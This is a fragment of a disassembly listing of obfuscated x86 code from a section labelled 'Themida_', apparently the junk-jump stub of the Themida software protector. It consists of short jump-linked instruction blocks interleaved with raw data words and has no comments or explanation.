edx push 5459h mov [esp], ebx jmp loc_5631F7 ; --------------------------------------------------------------------------- dd 34FF5A57h, 61E95F24h, 0FF00000Bh, 34FF2434h, 0ECE95824h dd 81FFFEFFh, 893692E5h, 0F75FE949h, 815AFFFFh, 4C4h, 0E9F23100h dd 128Dh, 0EB81FB01h, 777B1F90h, 47FF685Fh, 0C890000h dd 2B924h, 0EB810000h, 0B6D14A4h, 1E7BEB81h, 0CB01422Ch dd 61AEB850h, 260536BEh, 3518874Dh, 0D69B0AFh, 0C5E9C301h db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_572C47: ; CODE XREF: Themida_:00572162j mov ebx, esp add ebx, 4 add ebx, 2 jmp loc_56B1F6 ; --------------------------------------------------------------------------- dw 895Ch dd 0E0892404h, 405h, 4EC8100h, 0E9000000h, 0FFFF419Ch ; --------------------------------------------------------------------------- loc_572C70: ; CODE XREF: Themida_:0056E122j xor esi, 4E0B0761h shr esi, 1 push eax mov eax, 7BEB2766h jmp loc_567983 ; --------------------------------------------------------------------------- loc_572C83: ; CODE XREF: Themida_:0056273Cj mov esp, [esp] btc [esp], ax pushf jmp loc_561042 ; --------------------------------------------------------------------------- db 80h, 0C3h, 2Ch dd 0EB805A66h, 452FE9C7h, 0F581FFFFh, 5D3829C7h, 0FFA17AE9h dd 53D8BEFFh, 0CE812460h, 9776CACh, 0FFDEAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_572CB9: ; CODE XREF: Themida_:0056F138j push edx mov edx, esp jmp loc_56691B ; --------------------------------------------------------------------------- loc_572CC1: ; CODE XREF: Themida_:0057255Bj mov bl, 9 jmp loc_563544 ; --------------------------------------------------------------------------- loc_572CC8: ; CODE XREF: Themida_:0056D7DCj mov [esp], edi push ecx jmp loc_576923 ; --------------------------------------------------------------------------- loc_572CD1: ; CODE XREF: Themida_:00573795j xchg edx, [esp] jmp loc_56BB2B ; --------------------------------------------------------------------------- db 81h, 0E7h, 8Dh dd 0E920A912h, 1A2Ah, 8EAC14Ah, 6E2CEA81h, 0BA52003Bh dd 56ED6456h, 0E907E2C1h, 0FFFF61B9h, 0EC8044B4h, 72E480DFh dd 0C0F8EC80h, 0EC8003E4h, 78C4805Bh, 5158E300h, 0DDF6CEB5h dd 0F580D5F6h, 59EB0060h, 0EB80C328h, 5DEB80ADh, 0FFC1F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_572D2D: ; CODE XREF: Themida_:005714E2j sub edx, 0C0E76873h sub ebx, edx mov edx, [esp] jmp loc_56B1C2 ; --------------------------------------------------------------------------- db 57h, 0BFh, 7Ah dd 812DEF7Dh, 0DFE414C7h, 0E9FB0109h, 0FFFFF47Dh, 33241C31h dd 0E95C241Ch, 0FFFFDA35h, 0A392E958h, 1C89FFFFh, 0E9E38924h dd 0FFFF601Bh ; --------------------------------------------------------------------------- loc_572D6C: ; CODE XREF: Themida_:005669CEj mov esi, 46A30E42h jmp loc_5616BD ; --------------------------------------------------------------------------- dw 77FFh dd 19589D1Ch, 0E99C2404h, 2983h, 4C481h, 0EE810000h, 3E3F52ECh dd 4E03E6C1h, 46EEBF57h, 0E1E97234h, 66FFFFA0h, 6824048Bh dd 2BCh, 68240C89h, 3D07h, 24048F54h, 81EFE953h, 0EA81FFFFh dd 850F38A9h, 295AD029h, 7A12E9F0h, 665DFFFFh, 6607E3C1h dd 90EAC381h, 0FF2813E9h db 0FFh ; --------------------------------------------------------------------------- loc_572DD9: ; CODE XREF: Themida_:00568E25j add ebx, 0A1162A58h add esi, ebx pop ebx sub edi, 40F266AEh sub edi, esi add edi, 40F266AEh pop esi jmp loc_570D78 ; --------------------------------------------------------------------------- dw 0ED81h dd 0FFFFFFFFh, 8104E5C1h, 0BF44F7F5h, 1535E918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_572E0A: ; CODE XREF: Themida_:00573F5Cj mov ecx, 1FB02B85h add ecx, 0F62193D0h mov ebp, ecx pop ecx sub esi, 40D44573h sub esi, ebp jmp loc_575B94 ; --------------------------------------------------------------------------- db 0BBh, 7Ch, 4 dd 0E94324F7h, 0FFFEFFE1h ; --------------------------------------------------------------------------- loc_572E30: ; CODE XREF: Themida_:005667FAj push 6069h mov [esp], edx jmp loc_56F12E ; --------------------------------------------------------------------------- db 53h, 0BBh, 0E1h dd 812D4276h, 2A2FCDF3h, 3116E95Ch, 2C870000h, 0C895C24h dd 447C6824h, 6859204Bh, 51B5h, 0FF240C89h, 5559240Ch dd 0F0560CBDh, 8E5C10Ch, 0FF0AC3E9h, 2CEF80FFh, 1C8BF800h dd 0E7A7E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_572E82: ; CODE XREF: Themida_:0056B563j sub bl, al jmp loc_56EBA5 ; --------------------------------------------------------------------------- db 81h, 0C6h, 1Eh dd 5B409237h, 74646856h, 0E95E41A7h, 0FFFF4EDFh, 4BDh dd 0E9E80100h, 0FFFFFC76h, 5E1C15Ah, 0FF7AE5E9h, 4BD55FFh dd 0E9000000h, 0FFFF3CFCh ; --------------------------------------------------------------------------- loc_572EBC: ; CODE XREF: Themida_:00573E94j pop esp push 1Fh mov [esp], ecx mov ecx, 23480A40h add ebx, ecx pop ecx add ebx, 6C162DF3h jmp loc_56F338 ; --------------------------------------------------------------------------- loc_572ED8: ; CODE XREF: Themida_:0056843Fj mov [esp], eax xor [esp], ebp xor ebp, [esp] jmp loc_56D25B ; --------------------------------------------------------------------------- dw 0D968h dd 89000068h, 4BF243Ch, 0E9000000h, 0FFFFA432h, 51241C89h dd 2B9h, 0F79BE900h, 74FFFFFEh, 348B0424h, 4C48324h, 8B24048Fh dd 34FF2424h, 240C8B24h, 4C481h, 59E90000h, 81FFFEE2h dd 1E1D68C6h, 2434FF1Ah, 175B685Bh, 0E6E90000h, 8BFFFFD0h dd 0E5E92414h, 87FFFF4Fh, 0E95C2404h, 0FFFF5282h ; --------------------------------------------------------------------------- loc_572F4C: ; CODE XREF: Themida_:0057640Fj mov ecx, edx pop edx add esi, ecx mov ecx, [esp] add esp, 4 xor esi, 9ACA8Ah mov ebx, esi pop esi push ecx mov ecx, 24h add ecx, edi push edx mov edx, 0 push ebp mov ebp, 59A678D8h sub edx, ebp jmp loc_561DC7 ; --------------------------------------------------------------------------- loc_572F7B: ; CODE XREF: Themida_:0056F7A7j inc cl jmp loc_56AADB ; --------------------------------------------------------------------------- dw 895Ch dd 4812424h, 424h, 51565800h, 0FF6E89E9h, 0DCBD55FFh, 8122DB4Eh dd 141671E5h, 6EDC141h, 137CD81h, 0C5813099h, 4E673F09h dd 0DA6AC581h, 0EB01DF07h, 0E3E9505Dh, 89FFFFD9h, 7AB02404h dd 0C30024B3h, 5BD92858h, 10C0E9h, 5D5B5500h, 0FF8AD1E9h dd 2C5B66FFh, 0C3B1E92Ah, 0D3F7FFFFh, 0BB53DF87h, 5028736Fh dd 5A23F381h, 0A5E977DEh, 5EFFFF36h, 0BF57F001h, 1D775794h dd 0C0E9F829h, 5DFFFF8Dh, 635868h, 241C8900h, 42474FFh dd 24048F5Bh, 0F24248Bh, 0EC81C8B7h, 4, 0E9241489h, 0FFFF4A7Eh ; --------------------------------------------------------------------------- loc_57302C: ; CODE XREF: Themida_:0056C992j push edi mov edi, esp add edi, 4 jmp loc_56C546 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0E9830000h, 240C8704h, 0FF609DE9h, 8BEC88FFh dd 0C483240Ch, 241C8B04h, 4C481h, 0E7200000h, 24048B66h dd 0FE02C483h, 42B652C7h, 2F2DE9h, 0C4835D00h, 4EC8104h dd 89000000h, 8B542434h, 0C4832434h, 7ABE904h, 4050000h dd 2D000000h, 4, 5C240487h, 57241C89h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 4832424h, 8BE90424h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5730B7: ; CODE XREF: Themida_:00570403j add edx, edi jmp loc_56F94C ; --------------------------------------------------------------------------- dw 0CD2Dh dd 139C125h, 25CD05D8h, 34FF39C1h, 241C8B24h, 4C481h, 54550000h dd 29BA525Dh, 810DC56Bh, 1A44D6C2h, 0DE95546h, 58FFFEF0h dd 0E418A405h, 11EAE96Dh, 0EEC10000h, 6EEC107h, 0FF12DAE9h dd 0C1815CFFh, 4, 0FF8CC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_57310D: ; CODE XREF: Themida_:0056D8F1j pop ebx shr eax, 0Bh xor ecx, eax push ecx jmp loc_575A3F ; --------------------------------------------------------------------------- db 29h, 7Ch, 24h dd 0E685608h, 5E01B24Dh, 0C247429h, 5E2434FFh, 4C481h dd 0E95F0000h, 0FFFF74A1h, 68FFC283h, 2DFEh, 52242C89h dd 0D2B2FB68h, 0D5895A9Dh, 8324148Bh, 0EA2904C4h, 0FF5EA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_573159: ; CODE XREF: Themida_:0056F333j add ebp, ecx push edx mov edx, 34F87050h jmp loc_56ABF9 ; --------------------------------------------------------------------------- dw 0CE89h dd 83C68159h, 5278242Eh, 0F114B1BAh, 5AD6291Fh, 0FFF3EDE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_563AF8 ; --------------------------------------------------------------------------- db 8Bh dd 5451240Ch, 351AE959h, 0D931FFFFh, 81241C8Bh, 4C4h, 59C82900h dd 16F5E9h db 0 ; --------------------------------------------------------------------------- loc_5731A9: ; CODE XREF: Themida_:0056D4F6j mov esi, ebx pop ebx sub eax, 10BD1940h sub eax, 33E034FCh sub eax, esi add eax, 33E034FCh add eax, 10BD1940h jmp loc_5758D3 ; --------------------------------------------------------------------------- loc_5731C7: ; CODE XREF: Themida_:00567405j add ebx, esi mov esi, [esp] add esp, 4 add ebx, 4 jmp loc_56A28C ; --------------------------------------------------------------------------- db 0FFh, 77h, 3Ch dd 0FFFA02E9h, 59CE31FFh, 0FFD5ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_5731ED: ; CODE XREF: Themida_:00570DEFj shr eax, 8 jmp loc_576017 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6E22EA81h, 10E9D8ECh, 52000007h, 0EC8327B6h, 240C8904h dd 8FE9A2B1h, 58FFFF26h, 0FF0568E9h, 32E981FFh, 2917DA4Bh dd 0D78959CAh, 4E83BE5Ah, 0FE2904DAh, 83243C8Bh, 586804C4h dd 8900006Dh, 0BA522434h, 4A34074Ch, 0DCDCA81h, 34E93C58h db 14h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57324B: ; CODE XREF: Themida_:0056CD53j sub ebp, 1BE25700h add ebp, edi add ebp, 1BE25700h push dword ptr [esp] pop edi sub esp, 4 mov [esp], ebx push esp jmp loc_574CA2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 8ECBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573272: ; CODE XREF: Themida_:00562D29j add ebp, 6F9F2FCEh add ebp, edi sub ebp, 6F9F2FCEh pop edi add ebp, 4 jmp loc_56A495 ; --------------------------------------------------------------------------- dd 6E69C3BEh, 0C1D6F71Ah, 0D6F705EEh, 0FF1ABCE9h, 8EBC1FFh dd 4FF4C381h, 36E936F2h, 0C1FFFFD2h, 814F07E7h, 2A2923C7h dd 5FFE8913h, 4E17342Dh, 0E9F00130h, 0FFFEE5BFh, 13CEB81h dd 0F3817A63h, 5E4D396Dh, 0BFBF5743h, 0E992EEBCh, 0FFFFB3D7h ; --------------------------------------------------------------------------- loc_5732DC: ; CODE XREF: Themida_:005767F8j xor ebx, 0EED9DFC0h mov edx, ebx mov ebx, [esp] sub esp, 4 mov [esp], edi jmp loc_569D80 ; --------------------------------------------------------------------------- loc_5732F5: ; CODE XREF: Themida_:00569AB2j sub ebp, edi mov edi, [esp] add esp, 4 jmp loc_5617B1 ; --------------------------------------------------------------------------- dw 3487h dd 24248B24h, 24042166h, 21B8E99Ch, 8150FFFFh, 4ECh, 24248900h dd 4240481h, 0FF000000h, 48B2434h, 4C48124h, 56000000h dd 0C681E689h, 4, 0FFC51DE9h db 0FFh ; --------------------------------------------------------------------------- loc_57333D: ; CODE XREF: Themida_:00564307j pop ebp neg edi sub edi, 61DF3630h inc edi neg edi and edi, 40DF4BCAh jmp loc_5671F3 ; --------------------------------------------------------------------------- dd 243C3366h, 243C3166h, 31665766h, 99E9242Ch, 5CFFFF9Ah dd 0FF5554E9h db 0FFh ; --------------------------------------------------------------------------- loc_57336D: ; CODE XREF: Themida_:0056277Bj pop edi pop dword ptr [esp] pop esp shr ecx, 0 or eax, eax jz loc_573801 push eax jmp loc_56F4E7 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 48E92434h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_57338F: ; CODE XREF: Themida_:005690BCj push edi mov edi, esp jmp $+5 add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi mov esi, 4 add ebp, esi pop esi jmp loc_5755AF ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 0FEDC85E9h, 61EE80FFh, 80CCC680h, 0EE007DEEh dd 0E97DC680h, 0FFFFDAFFh, 6EA3B951h, 0D1F7212Dh, 1339C181h dd 0E1813281h, 4D8E2AC7h, 31C18141h, 298A8E9Eh, 72E959CDh dd 0C1FFFEE0h, 0C78108E7h, 0B87DBC94h, 16A168h, 10E7E900h dd 24890000h, 24048324h, 545E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_573412: ; CODE XREF: Themida_:00572869j add edx, 51DC339Dh jmp loc_562716 ; --------------------------------------------------------------------------- db 68h, 8Dh, 2Bh dd 34890000h, 9D1BE24h, 0E6C101ECh, 2870E907h, 0F501FFFFh dd 6965ED81h, 685E3B71h, 2395h, 0B9240C89h, 4, 0FEEB29E9h dd 1EF281FFh, 817D441Ch, 70FFFFF2h, 5AD0298Dh, 5358C101h dd 0E51735BBh, 2C196802h, 29E90000h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57346F: ; CODE XREF: Themida_:00567850j mov edi, [esp] add esp, 4 add esp, 4 jmp loc_56EAA5 ; --------------------------------------------------------------------------- dd 0B8240489h, 18C868ADh, 8CE9C289h, 100001Eh, 241C8BDFh dd 0FEE454E9h, 0C2815AFFh, 4, 0FF8136E9h db 0FFh ; --------------------------------------------------------------------------- loc_5734A5: ; CODE XREF: Themida_:0056CCC5j push esi mov esi, 0F334509h not esi shr esi, 8 push edi push eax mov eax, 0A99505Ah sub eax, 3149190Fh jmp loc_56CF79 ; --------------------------------------------------------------------------- db 66h, 68h, 51h dd 0C896641h, 0B9EBE924h, 5CBEFFFFh, 315D7027h, 742958C6h dd 348B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_566989 ; --------------------------------------------------------------------------- loc_5734F5: ; CODE XREF: Themida_:00574077j xchg ebx, [esp] mov esp, [esp] jmp loc_575F02 ; --------------------------------------------------------------------------- dd 2E566851h, 0A5E93759h, 89FFFF62h, 4832424h, 1C8B0424h dd 4C48124h, 0E9000000h, 0FFFF21F8h, 2474FF55h, 48F5D04h dd 24248B24h, 81E78957h, 4ECh, 242C8900h, 4BDh, 8BEF0100h dd 0C481242Ch, 4, 0FFA113E9h, 0C9C681FFh, 81114F66h, 1C7517F6h dd 61F68131h, 0E94FC951h, 0FFFF3B7Fh, 0CCE9CA21h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57356B: ; CODE XREF: Themida_:00575A3Aj push dword ptr [esp] jmp loc_57275F ; --------------------------------------------------------------------------- loc_573573: ; CODE XREF: Themida_:00574703j sub ebx, 6A82277Eh add esi, ebx pop ebx push ebx mov ebx, 4 jmp loc_56D188 ; --------------------------------------------------------------------------- db 1 dd 2CCA05D8h, 6EE91B54h, 66FFFF9Bh, 5224048Bh, 0FEFBE954h dd 159FFFFh, 74E950C6h, 89FFFEE4h, 0C7E92424h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5735AF: ; CODE XREF: Themida_:0056DDDDj not dword ptr [esp] pop ecx sub ecx, 0FEEE0F5Bh mov edi, ecx pop ecx add [esp+4], edi jmp loc_56CDE0 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 3FCC38B7h, 78A8055Fh, 0F7E97CE2h, 58FFFF4Eh, 1ADFE9h dd 240C8900h, 0CDFEAEB5h, 0E959ED80h, 0B3Dh ; --------------------------------------------------------------------------- loc_5735EC: ; CODE XREF: Themida_:00566E7Ej mov ebx, 4 jmp loc_5665DC ; --------------------------------------------------------------------------- dw 0C483h dd 2434FF04h, 0FFCEB5E9h, 0C1DBF7FFh, 0F38108EBh, 4AB20D59h dd 8AEEF381h, 0D9014A73h, 240C875Bh, 241C8B5Ch, 5104C483h dd 0C181E189h, 4, 4E981h, 0C870000h, 0C895C24h, 2D685224h dd 0E9000062h, 0FFFF1D0Ch, 0E628CDB6h, 41456858h, 1C890000h dd 91686624h, 489662Eh, 0E9AFB424h, 0FFFF3500h ; --------------------------------------------------------------------------- loc_57365C: ; CODE XREF: Themida_:005647CDj inc ebx neg ebx jmp loc_5623C6 ; --------------------------------------------------------------------------- loc_573664: ; CODE XREF: Themida_:0056E1E0j sub esi, 7880438Dh pop eax add eax, esi jmp loc_566026 ; --------------------------------------------------------------------------- aZqhel db 'ZQhEL',0 dd 241C8900h, 0FEEDC4E9h, 4C481FFh, 0E9000000h, 0FFFF70AEh dd 405h, 6E95700h, 5F00000Ch, 0FF0FBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_57369D: ; CODE XREF: Themida_:0057661Fj pop esp add ebx, edi jmp loc_57407C ; --------------------------------------------------------------------------- db 89h, 0E0h, 55h dd 217E9h, 0DD895B00h, 4D5B5F5Bh, 0FF1E581h, 0BA52506Ah dd 38462906h, 5EA8142h, 3128441Ah, 2A89E9D5h, 835C0000h dd 0CF8104C4h, 1720CDFh, 0FFAFA8E9h, 53D2F7FFh, 232B6FBBh dd 6EEB817Bh, 31D2DB34h, 0D1015BDAh, 5A2434FFh, 81E78957h dd 4C7h, 0C528E900h, 1489FFFFh, 40685124h, 5973A61Ch, 8104E9C1h dd 0D42287F1h, 0DD44E951h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57371A: ; CODE XREF: Themida_:0057636Fj mov [esp], edi mov edi, 45283F53h push esi mov esi, 27697C26h add esi, 487C94E0h xor edi, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push edx jmp loc_567BD9 ; --------------------------------------------------------------------------- dd 4C481h, 92E90000h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573753: ; CODE XREF: Themida_:0057605Aj push 528Fh mov [esp], ebp jmp loc_566D41 ; --------------------------------------------------------------------------- loc_573760: ; CODE XREF: Themida_:005728C7j add edx, 49F36839h jmp loc_572825 ; --------------------------------------------------------------------------- aS_37 db ')Ùé¾',9,0 align 2 loc_573772: ; CODE XREF: Themida_:0056224Dj push edx push esp mov edx, [esp] add esp, 4 push ebx mov ebx, 42326C4Eh shl ebx, 4 sub ebx, 2326C4DCh add edx, ebx pop ebx add edx, 4 jmp loc_572CD1 ; --------------------------------------------------------------------------- loc_57379A: ; CODE XREF: Themida_:00573F1Bj sub eax, 2ECD3AA0h sub edx, eax pop eax push 1EFFh mov [esp], edx jmp loc_56B62B ; --------------------------------------------------------------------------- db 5Ah dd 802CCC80h, 0EC8045C4h, 58E52844h, 8059EC88h, 43E9D2C4h dd 50000002h, 885287B0h, 1756E9C6h, 0E95C0000h, 1C75h ; --------------------------------------------------------------------------- loc_5737D8: ; CODE XREF: Themida_:00575934j xchg edi, [esp] mov esp, [esp] jmp loc_5740AB ; --------------------------------------------------------------------------- db 81h dd 683118CAh, 90EA8118h, 51C57AF4h, 0FF1324E9h, 0DEE955FFh dd 57FFFF4Ah, 1794E9h db 0 ; --------------------------------------------------------------------------- loc_573801: ; CODE XREF: Themida_:00573377j ; Themida_:00575006j push 59D8h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push ebx push esp pop ebx sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_5655BB ; --------------------------------------------------------------------------- dd 240C8B66h, 0AA91E953h, 0F681FFFFh, 119D99F9h, 0FF41D6E9h dd 4C681FFh, 83000000h, 343304EEh, 0D359E924h, 0E468FFFFh dd 0E9000020h, 0FFFF18ADh, 8B5AD101h, 0C4812434h, 4, 6804C183h dd 256Ah, 0FF240C89h, 0E9042474h, 0FFFF51A9h, 8B2434FFh dd 0EC81242Ch, 4, 89241489h, 4C281E2h, 83000000h, 148704C2h dd 0B865E924h, 0F204FFFFh, 0F22CF828h, 23B25266h, 8B66D028h dd 0C4832414h, 1C8B6602h, 2C48324h, 0FF49A1E9h, 49C781FFh dd 1606070h, 49EF81D7h, 0E9606070h, 0FFFF17A2h, 4BDh, 5DE80100h dd 4B951h, 0C8010000h, 24048759h, 8124248Bh, 4E9h, 31C2E900h dd 248BFFFFh, 2424D224h, 0D750E99Ch, 0B70FFFFEh, 796866C0h dd 4896644h, 0D740E924h, 895CFFFEh, 0BA52240Ch, 626C1266h dd 9AE9D189h, 81FFFFDFh, 0B18795C2h, 7A5B0517h, 352D1F70h dd 29056260h, 0D317E9D0h, 0E95EFFFFh, 24DAh, 8124048Bh dd 4C4h, 8BCE0000h, 0C483240Ch, 51DEF604h, 3AE9A6B1h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57394B: ; CODE XREF: Themida_:00571444j push eax mov al, cl mov bl, al pop eax pop ecx jmp loc_56CD18 ; --------------------------------------------------------------------------- db 0FFh dd 62E92434h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57395F: ; CODE XREF: Themida_:00575434j xor eax, [esp] jmp loc_56A8F0 ; --------------------------------------------------------------------------- db 81h dd 60C92434h, 535D1734h, 156DB8BBh, 7E3C17Ch, 8103E3C1h dd 485282EBh, 0B01CE918h, 0EE01FFFFh, 5D2434FFh, 4C481h dd 0BF570000h, 4, 25F1BD55h, 3DE979DDh db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5739A3: ; CODE XREF: Themida_:0057602Cj push dword ptr [esp] pop edx push edi push esp jmp loc_565699 ; --------------------------------------------------------------------------- dw 1489h dd 0E99C5024h, 0FFFED68Ah, 761E9ACh, 0C6290000h, 52EE0158h dd 0FF1ACAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5739C9: ; CODE XREF: Themida_:005675D2j add ecx, ebp jmp loc_564F22 ; --------------------------------------------------------------------------- loc_5739D0: ; CODE XREF: Themida_:0056AC78j pop edx add esp, 4 mov [edi+eax*4+1], cl push dword ptr [esp] mov ecx, [esp] jmp loc_56C8F6 ; --------------------------------------------------------------------------- loc_5739E6: ; CODE XREF: Themida_:00564EB6j shr eax, 1 dec eax jmp loc_5637FF ; --------------------------------------------------------------------------- dw 0C681h dd 3E5405C4h, 3AABA52h, 0E28154A1h, 6BED78A8h, 0E2C1DAF7h dd 0DA6DE904h, 0F480FFFEh, 58E3302Fh, 525BD830h, 5330B551h dd 0CBFE16B3h, 82DC380h, 0FAE95BDDh, 0FFFFFF2Eh, 535A2434h dd 0EC83E389h, 240C8904h, 9C96850h, 5558170Ch, 43E55BDh dd 63F58134h, 0F738E139h, 6747E9D5h, 0C483FFFFh, 8AB65204h dd 0E6C0DEF6h, 7AC68002h, 0E9F2CE80h, 0FFFF35C0h, 0C2FDE951h dd 74FFFFFFh, 8F5B0424h, 815C2404h, 4ECh, 0FC54E900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_573A7E: ; CODE XREF: Themida_:0056F73Dj sub bl, 1 sub bl, 34h jmp loc_56C27D ; --------------------------------------------------------------------------- loc_573A89: ; CODE XREF: Themida_:0056F50Dj mov ecx, 152471CDh mov edi, ecx pop ecx xor edi, 3877520Fh push eax mov eax, 1D642A86h jmp loc_561160 ; --------------------------------------------------------------------------- loc_573AA2: ; CODE XREF: Themida_:005655CEj mov ecx, 28533CEEh add ecx, 7C76135h shl ecx, 2 jmp loc_5645E3 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0FF86F8E9h, 874B3FFh, 0D4F65BDCh, 0EC83D4F6h, 912AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573ACE: ; CODE XREF: Themida_:0056AE48j mov [esp], ecx mov cl, 0E2h mov dl, cl pop ecx jmp loc_570EA7 ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 8704EE83h, 895C2434h, 74FF240Ch, 8F590424h dd 248B2404h, 48B6624h, 0E2895224h, 4EC81h, 0DEE90000h dd 89FFFEF5h, 6852240Ch, 238B6EFDh, 0FF8D54E9h db 0FFh ; --------------------------------------------------------------------------- loc_573B19: ; CODE XREF: Themida_:00571B7Bj add esi, ebx jmp loc_567BB9 ; --------------------------------------------------------------------------- dd 24048B66h, 3479E951h, 0FA01FFFFh, 3EDFEA81h, 28B2C8Eh dd 2134685Ah, 0C890000h, 1B924h, 0C8210000h, 0FF1E93E9h dd 48F5FFFh, 0D414E924h, 0C181FFFFh, 46AE13C0h, 327EC181h dd 0D92944B3h, 327EE981h, 0E95244B3h, 0FFFF5525h, 6288E957h dd 34FFFFFFh, 2434FF24h, 47E95058h, 50000010h, 8851FC88h dd 0ADF0E9E1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573B8A: ; CODE XREF: Themida_:0056FA2Fj sub ebp, 0D387DCEh sub ebp, 0EB2680D4h add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push edi jmp loc_56DFFE ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0BB530000h, 4, 335BD901h, 0C31240Ch, 240C3324h dd 2AAAE95Ch, 66680000h, 8900005Ch, 2368241Ch, 89000021h dd 4832424h, 1C8B0424h, 4C48324h, 6A7C68h, 243C8900h, 0DE95253h dd 81FFFEE9h, 0BE0B4DC2h, 0BB535625h, 68225771h, 0C15BDE89h dd 0EEC108E6h, 42EE8102h, 29D61FC5h, 24348BF2h, 0FF9C8FE9h dd 6AF92DFFh, 0F8013868h, 2A9368h, 24348900h, 686AF9BEh dd 5EF00138h, 8C4D1F2Dh, 43432D75h, 0D36856EEh, 8900004Fh dd 0DABD242Ch, 0C12D5E3Dh, 0C58104EDh, 14488702h, 0FF02B7E9h dd 81D301FFh, 9B5FF7EBh, 24EB815Eh, 5A146771h, 2F1A68h dd 243C8900h, 2BFh, 2BBD5500h, 8103D041h, 0DF5C1EC5h, 0E5F58141h dd 11943DEh, 96E95DEBh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_573C8B: ; CODE XREF: Themida_:00575DC1j sub esp, 4 mov [esp], ebp push 74651B1Dh jmp loc_56F252 ; --------------------------------------------------------------------------- loc_573C9E: ; CODE XREF: Themida_:0056B1E7j xor ebp, 4B77BC87h add ecx, ebp pop ebp jmp loc_56B2E5 ; --------------------------------------------------------------------------- dd 0BF26FCBBh, 76522D7Eh, 7EE93E34h, 0E900001Ch, 0FFFED382h dd 84E98158h, 15D3E6Bh, 84C181F9h, 5F5D3E6Bh, 31240C33h dd 0C33240Ch, 24248B24h, 0FF2434FFh, 48B2434h, 4C48324h dd 2EDE68h, 242C8900h, 0C5815D54h, 4, 0FF392BE9h, 0C8B66FFh dd 2F7A6824h, 14890000h, 27FFE924h, 3C890000h, 36D2E924h dd 489FFFFh, 8007B024h, 0C7003EEFh, 0FF5204E9h, 0BD55FFh dd 0E93C472Fh, 0FFFFEEC3h, 0FF665566h, 66022474h, 48F665Dh dd 665F6624h, 66243C31h, 0E9243C33h, 0FFFFA6DEh ; --------------------------------------------------------------------------- loc_573D4C: ; CODE XREF: Themida_:0056ED1Bj push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_574AFB ; --------------------------------------------------------------------------- db 81h, 0E2h, 74h dd 8172B462h, 0C0121CF2h, 89BB5312h, 142B6BAh, 1334E9DAh dd 489FFFFh, 75B2E924h, 0F281FFFFh, 98F4130h, 54BCEA81h dd 37E910DDh, 83FFFF0Eh, 73E904ECh, 81FFFF4Eh, 0F2E8A9C2h dd 6A00E92Dh, 3548FFFFh, 44EE396Eh, 0F87DFF0Dh, 9A442D7Ah dd 0DFE96D53h, 8BFFFEE4h, 0C483243Ch, 8BD90904h, 0C481241Ch dd 4, 5E49E981h, 0D9E94FEEh, 89FFFF59h, 74FF241Ch, 34FF0424h dd 0C4835B24h, 24048F04h, 8924248Bh, 0E789243Ch, 18A8E9h dd 81EF0100h, 0FE1701EFh, 28DAE922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_573E0A: ; CODE XREF: Themida_:00561AE2j pop dword ptr [esp] mov esp, [esp] jmp loc_564D11 ; --------------------------------------------------------------------------- db 0BEh, 0E7h, 55h dd 80E9064Dh, 53FFFF1Bh, 4AB668h, 24248900h, 4240481h dd 8B000000h, 0C481241Ch, 4, 13CCE955h, 0D3F7FFFFh, 8106EBC1h dd 5120ECF3h, 0EA9FE909h, 7401FFFFh, 44810424h, 0C5C0424h dd 0FF5E1DDAh, 815F2434h, 4C4h, 1CEF8100h, 0E9398400h dd 1650h, 0FF2434FFh, 48B2434h, 97E95624h db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_573E7F: ; CODE XREF: Themida_:0056A65Aj mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_572EBC ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0FFh dd 68FFFF92h, 6B9Dh, 53242489h, 4BBh, 